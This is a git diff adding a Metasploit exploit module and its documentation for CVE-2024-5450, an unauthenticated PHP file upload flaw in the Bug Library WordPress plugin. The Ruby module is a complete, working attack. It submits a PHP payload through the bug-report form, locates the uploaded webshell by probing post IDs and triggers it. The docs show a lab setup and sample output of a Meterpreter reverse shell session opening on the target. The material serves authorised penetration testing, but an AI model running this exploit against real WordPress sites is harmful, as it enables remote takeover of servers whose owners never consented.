diff --git a/documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md b/documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md
new file mode 100644
index 0000000000000..e55e1aa6e88b1
--- /dev/null
+++ b/documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md
@@ -0,0 +1,134 @@
+## Vulnerable Application
+
+The [Bug Library](https://wordpress.org/plugins/bug-library/) WordPress plugin before version 2.1.1
+allows unauthenticated users to submit bug reports via a public-facing form. The form accepts file
+attachments without validating the file extension or MIME type, allowing an attacker to upload
+arbitrary PHP files and achieve remote code execution.
+
+**CVE:** CVE-2024-5450
+**CVSS Score:** 10.0 (Critical)
+**CWE:** CWE-434: Unrestricted Upload of File with Dangerous Type
+**Fixed in:** Bug Library 2.1.1
+
+### Setup (Docker)
+
+```bash
+# Start a local WordPress environment
+mkdir wp_lab && cd wp_lab
+cat > docker-compose.yml << 'YAML'
+version: '3.8'
+services:
+  db:
+    image: mysql:5.7
+    environment:
+      MYSQL_DATABASE: wp
+      MYSQL_USER: wp
+      MYSQL_PASSWORD: wp
+      MYSQL_ROOT_PASSWORD: rootpass
+  wordpress:
+    image: wordpress:6.4
+    ports:
+      - "8080:80"
+    depends_on:
+      - db
+    environment:
+      WORDPRESS_DB_HOST: db
+      WORDPRESS_DB_USER: wp
+      WORDPRESS_DB_PASSWORD: wp
+      WORDPRESS_DB_NAME: wp
+YAML
+docker-compose up -d
+```
+
+1. Complete the WordPress installation at `http://localhost:8080`
+2. Install Bug Library plugin version < 2.1.1
+3. Go to **Settings → Bug Library** and enable **Allow Attachments**
+4. Ensure CAPTCHA is disabled (default)
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. Load the module:
+   ```
+   use exploit/unix/webapp/wp_bug_library_file_upload
+   ```
+3. Configure options:
+   ```
+   set RHOSTS <target_ip>
+   set RPORT <target_port>
+   set LHOST <your_ip>
+   ```
+4. Run the check:
+   ```
+   check
+   ```
+   Expected output:
+   ```
+   [*] The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found)
+   ```
+5. Run the exploit:
+   ```
+   run
+   ```
+
+## Options
+
+| Option | Default | Description |
+|--------|---------|-------------|
+| RHOSTS | — | Target WordPress host |
+| RPORT | 80 | Target port |
+| TARGETURI | / | Base path to WordPress installation |
+| MAX_POST_SEARCH | 50 | Maximum post ID range to search for the uploaded shell |
+
+## Scenarios
+
+### Successful exploitation
+
+```
+msf6 exploit(unix/webapp/wp_bug_library_file_upload) > check
+[*] 127.0.0.1:8080 - The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found)
+
+msf6 exploit(unix/webapp/wp_bug_library_file_upload) > run
+[*] Started reverse TCP handler on 172.17.0.1:4444
+[*] Retrieving valid product/type term IDs from the bug-submission form...
+[*] Using product_id=2, type_id=3
+[*] Determining current post ID baseline...
+[*] Post ID baseline: 5. Will search up to 55.
+[*] Uploading PHP payload as 'RLwIQTQn.php'...
+[+] Bug report accepted by the server. Searching for the uploaded webshell...
+[+] Webshell located at: http://127.0.0.1:8080/wp-content/uploads/bug-library/bugimage-6.php
+[*] Sending request to execute payload...
+[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:49812)
+
+meterpreter > getuid
+Server username: www-data
+meterpreter > sysinfo
+Computer    : wordpress-container
+OS          : Linux wordpress-container 6.1.0 #1 SMP
+Meterpreter : php/linux
+```
+
+### Plugin not detected
+
+```
+msf6 exploit(unix/webapp/wp_bug_library_file_upload) > check
+[*] 127.0.0.1:8080 - The target is not exploitable. Unexpected HTTP 404 for plugin stylesheet
+```
+
+The Bug Library plugin is not installed or active on this WordPress instance.
+
+### CAPTCHA or attachments disabled
+
+```
+[*] Uploading PHP payload as 'RLwIQTQn.php'...
+[-] Exploit failed: Upload failed (HTTP 200). Possible causes: CAPTCHA is enabled,
+    "Allow Attachments" is disabled, or required form fields were rejected by the server.
+```
+
+Ensure that **Allow Attachments** is enabled and CAPTCHA is disabled in the plugin settings.
+
+## References
+
+- [WPScan Vulnerability Database](https://wpscan.com/vulnerability/d91217bc-9f8f-4971-885e-89edc45b2a4d)
+- [NVD CVE-2024-5450](https://nvd.nist.gov/vuln/detail/CVE-2024-5450)
+- [Bug Library Plugin](https://wordpress.org/plugins/bug-library/)
diff --git a/modules/exploits/unix/webapp/wp_bug_library_file_upload.rb b/modules/exploits/unix/webapp/wp_bug_library_file_upload.rb
new file mode 100644
index 0000000000000..f9d230763f129
--- /dev/null
+++ b/modules/exploits/unix/webapp/wp_bug_library_file_upload.rb
@@ -0,0 +1,299 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HTTP::Wordpress
+  include Msf::Exploit::FileDropper
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'WordPress Bug Library Plugin Prior To 2.1.1 Unauthenticated PHP File Upload RCE',
+        'Description' => %q{
+          The Bug Library WordPress plugin before version 2.1.1 does not validate
+          the file type of attachments submitted via the public bug-report form,
+          allowing an unauthenticated attacker to upload an arbitrary PHP file
+          and achieve remote code execution.
+
+          When the "Allow Attachments" setting is enabled and CAPTCHA is either
+          disabled or not deployed, a PHP webshell can be submitted as a bug
+          report attachment. The file is stored under wp-content/uploads/bug-library/
+          and is directly accessible over HTTP, giving the attacker a persistent
+          shell on the server.
+
+          Affected versions: Bug Library < 2.1.1
+          CVSSv3 Score: 10.0 (Critical) - CWE-434: Unrestricted Upload of File
+          with Dangerous Type
+        },
+        'Author' => [
+          'Bob Matyas',      # CVE discovery / original research
+          'TrinityBerserker' # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2024-5450'],
+          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-5450'],
+          ['WPVDB', 'd91217bc-9f8f-4971-885e-89edc45b2a4d']
+        ],
+        'DisclosureDate' => '2024-06-22',
+        'Platform' => 'php',
+        'Arch' => ARCH_PHP,
+        'Targets' => [
+          ['WordPress Bug Library Prior To 2.1.1', {}]
+        ],
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
+        }
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']),
+        OptInt.new('MAX_POST_SEARCH', [
+          true,
+          'Maximum number of post IDs above the detected baseline to search for the uploaded shell',
+          50
+        ])
+      ]
+    )
+  end
+
+  # ------------------------------------------------------------------
+  # check: verify the plugin is present on the target
+  # ------------------------------------------------------------------
+  def check
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(wordpress_url_plugins, 'bug-library', 'stylesheet.css')
+    )
+
+    return CheckCode::Safe('Bug Library plugin stylesheet not found') unless res
+    return CheckCode::Safe("Unexpected HTTP #{res.code} for plugin stylesheet") unless res.code == 200
+
+    CheckCode::Appears('Bug Library plugin detected (stylesheet.css found)')
+  end
+
+  # ------------------------------------------------------------------
+  # get_form_term_ids: parse valid product + type term IDs from the
+  # public submission form so we can send a well-formed POST.
+  # Falls back to 1 for both if the form cannot be retrieved.
+  # ------------------------------------------------------------------
+  def get_form_term_ids
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path),
+      'vars_get' => { 'bug_library_popup_content' => 'true' }
+    )
+
+    product_id = 1
+    type_id = 1
+
+    if res && res.code == 200
+      # The form renders <select name='new-bug-product'> and <select name='new-bug-type'>
+      # with <option value="{term_id}"> entries — grab the first available value for each.
+      if res.body =~ /name=['"]new-bug-product['"][^>]*>.*?<option\s+value="(\d+)"/m
+        product_id = ::Regexp.last_match(1).to_i
+      end
+      if res.body =~ /name=['"]new-bug-type['"][^>]*>.*?<option\s+value="(\d+)"/m
+        type_id = ::Regexp.last_match(1).to_i
+      end
+    end
+
+    [product_id, type_id]
+  end
+
+  # ------------------------------------------------------------------
+  # get_baseline_post_id: try to determine the current highest WordPress
+  # post ID so we know where to begin searching after our upload creates
+  # a new post. Tries the REST API first, then the RSS feed.
+  # Returns 0 if nothing can be determined.
+  # ------------------------------------------------------------------
+  def get_baseline_post_id
+    # Try the WP REST API (available by default on WP 4.7+)
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(wordpress_url_rest_api, 'posts'),
+      'vars_get' => { 'per_page' => '1', 'orderby' => 'id', 'order' => 'desc' }
+    )
+
+    if res && res.code == 200 && res.body =~ /"id"\s*:\s*(\d+)/
+      return ::Regexp.last_match(1).to_i
+    end
+
+    # Fallback: main RSS feed often reveals recent post IDs in <link> tags
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => wordpress_url_rss
+    )
+
+    if res && res.code == 200 && res.body =~ /[?&]p=(\d+)/
+      return ::Regexp.last_match(1).to_i
+    end
+
+    0 # Unknown baseline — we will search from ID 1
+  end
+
+  # ------------------------------------------------------------------
+  # exploit
+  # ------------------------------------------------------------------
+  def exploit
+    # 1. Retrieve valid term IDs so the form submission passes validation
+    vprint_status('Retrieving valid product/type term IDs from the bug-submission form...')
+    product_id, type_id = get_form_term_ids
+    vprint_status("Using product_id=#{product_id}, type_id=#{type_id}")
+
+    # 2. Note the highest post ID before we create ours
+    vprint_status('Determining current post ID baseline...')
+    baseline = get_baseline_post_id
+    vprint_status("Post ID baseline: #{baseline}. " \
+                  "Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.")
+
+    # 3. Build the PHP payload and a random filename
+    php_payload = payload.encoded
+    shell_name = "#{rand_text_alpha(8)}.php"
+
+    # 4. Assemble multipart form data replicating submitnewissue.php's expected fields
+    #
+    #    Required fields (from submitnewissue.php validation):
+    #      new-bug-title, new-bug-version, new-bug-desc, new-bug-submit
+    #    Taxonomy selects (must contain a valid term_id or wp_set_post_terms silently fails):
+    #      new-bug-product, new-bug-type
+    #    Optional but harmless to include:
+    #      new-bug-reporter-name, new-bug-reporter-email
+    #    File upload field (the vulnerable parameter):
+    #      attachimage — no extension or MIME-type check in vulnerable versions
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part('Submit',
+                       nil, nil, 'form-data; name="new-bug-submit"')
+    post_data.add_part(rand_text_alpha_upper(12),
+                       nil, nil, 'form-data; name="new-bug-title"')
+    post_data.add_part(product_id.to_s,
+                       nil, nil, 'form-data; name="new-bug-product"')
+    post_data.add_part('1.0',
+                       nil, nil, 'form-data; name="new-bug-version"')
+    post_data.add_part(type_id.to_s,
+                       nil, nil, 'form-data; name="new-bug-type"')
+    post_data.add_part(rand_text_alpha(30),
+                       nil, nil, 'form-data; name="new-bug-desc"')
+    post_data.add_part(rand_text_alpha(8),
+                       nil, nil, 'form-data; name="new-bug-reporter-name"')
+    post_data.add_part("#{rand_text_alpha(6)}@#{rand_text_alpha(6)}.com",
+                       nil, nil, 'form-data; name="new-bug-reporter-email"')
+    # The vulnerability: attachimage accepts any file extension in versions < 2.1.1
+    post_data.add_part(php_payload,
+                       'application/octet-stream', nil,
+                       "form-data; name=\"attachimage\"; filename=\"#{shell_name}\"")
+
+    print_status("Uploading PHP payload as '#{shell_name}'...")
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path),
+      'vars_get' => { 'bug_library_popup_content' => 'true' },
+      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
+      'data' => post_data.to_s
+    )
+
+    fail_with(Failure::Unreachable, 'No response received from target') unless res
+
+    # submitnewissue.php renders "Thank you for your submission." on success
+    unless res.code == 200 && res.body.include?('Thank you for your submission')
+      fail_with(Failure::UnexpectedReply,
+                "Upload failed (HTTP #{res.code}). " \
+                'Possible causes: CAPTCHA is enabled, "Allow Attachments" is disabled, ' \
+                'or required form fields were rejected by the server.')
+    end
+
+    print_good('Bug report accepted by the server. Searching for the uploaded webshell...')
+
+    # 5. Locate (and simultaneously trigger) the uploaded shell
+    #
+    #    submitnewissue.php saves the file as:
+    #      {wp_upload_basedir}/bug-library/bugimage-{new_post_id}.php
+    #    (in vulnerable versions the extension is taken directly from the
+    #    uploaded filename with no sanitisation — fixed in 2.1.1 by
+    #    hardcoding ".jpg" instead)
+    #
+    #    We probe sequential post IDs starting from baseline+1. WordPress
+    #    post IDs are auto-incremented integers, so the newly created bug
+    #    post will have an ID just above the pre-upload maximum.
+    #
+    #    Note that simply GETing a matching candidate URI *is* triggering
+    #    it -- PHP executes the file server-side regardless of why we
+    #    requested it. For an interactive/blocking payload (e.g.
+    #    php/meterpreter/reverse_tcp) the PHP process holds that same HTTP
+    #    connection open for the life of the session, so the probe against
+    #    the real file stalls well past a plain 404's near-instant
+    #    response. We use a short per-probe timeout and treat a timeout
+    #    (rather than a clean response) as a signal that we hit the real
+    #    file and it is now busy running the payload. This also means we
+    #    only need to touch the file once -- a separate explicit "trigger"
+    #    request after discovery would just execute it a second time.
+
+    shell_uri = nil
+    shell_relative_path = nil
+    max_id = baseline + datastore['MAX_POST_SEARCH']
+    probe_timeout = 5
+
+    (baseline + 1).upto(max_id) do |candidate_id|
+      uri = normalize_uri(
+        wordpress_url_uploads, 'bug-library',
+        "bugimage-#{candidate_id}.php"
+      )
+
+      probe = send_request_cgi({ 'method' => 'GET', 'uri' => uri }, probe_timeout)
+      next unless probe.nil? || probe.code == 200
+
+      shell_uri = uri
+      shell_relative_path = "#{wp_content_dir}/uploads/bug-library/bugimage-#{candidate_id}.php"
+      if probe.nil?
+        vprint_status("Probe to #{full_uri(uri)} did not return within #{probe_timeout}s; " \
+                      'assuming the payload is running and holding the connection open.')
+      end
+      print_good("Webshell located at: #{full_uri(uri)} (request above already triggered it)")
+      break
+    end
+
+    unless shell_uri
+      fail_with(Failure::NotFound,
+                'Could not find the uploaded webshell in the post ID range ' \
+                "#{baseline + 1}-#{max_id}. " \
+                'Try increasing MAX_POST_SEARCH or verify the upload directory is web-accessible.')
+    end
+
+    # 6. Cleanup the uploaded webshell
+    #
+    #    Register the relative path with FileDropper. There is no way to
+    #    synchronously tell from here whether the triggered payload will
+    #    end up opening a session (sessions arrive later, asynchronously,
+    #    via the handler) so we can't branch on that now. Instead we just
+    #    register unconditionally: if a session does come up, FileDropper's
+    #    on_new_session hook deletes the file through it; regardless of
+    #    whether a session ever appears, FileDropper's own cleanup() makes
+    #    a final removal attempt and warns the user if the file could not
+    #    be confirmed deleted.
+    #
+    #    An HTTP DELETE-based fallback was deliberately *not* added here:
+    #    on a plain PHP/Apache-or-nginx target (no WebDAV/mod_dav), any
+    #    HTTP request to this URI -- DELETE included -- just re-executes
+    #    the PHP file rather than removing it from disk, so a DELETE
+    #    "succeeding" (HTTP 200) is actually the payload firing again, not
+    #    evidence of cleanup. That's a real correctness problem (it
+    #    duplicates an interactive payload's session, and silently reports
+    #    false success for a one-shot payload) rather than a usable
+    #    best-effort fallback, so session-based cleanup is the only
+    #    cleanup path this module offers.
+    register_file_for_cleanup(shell_relative_path)
+  end
+end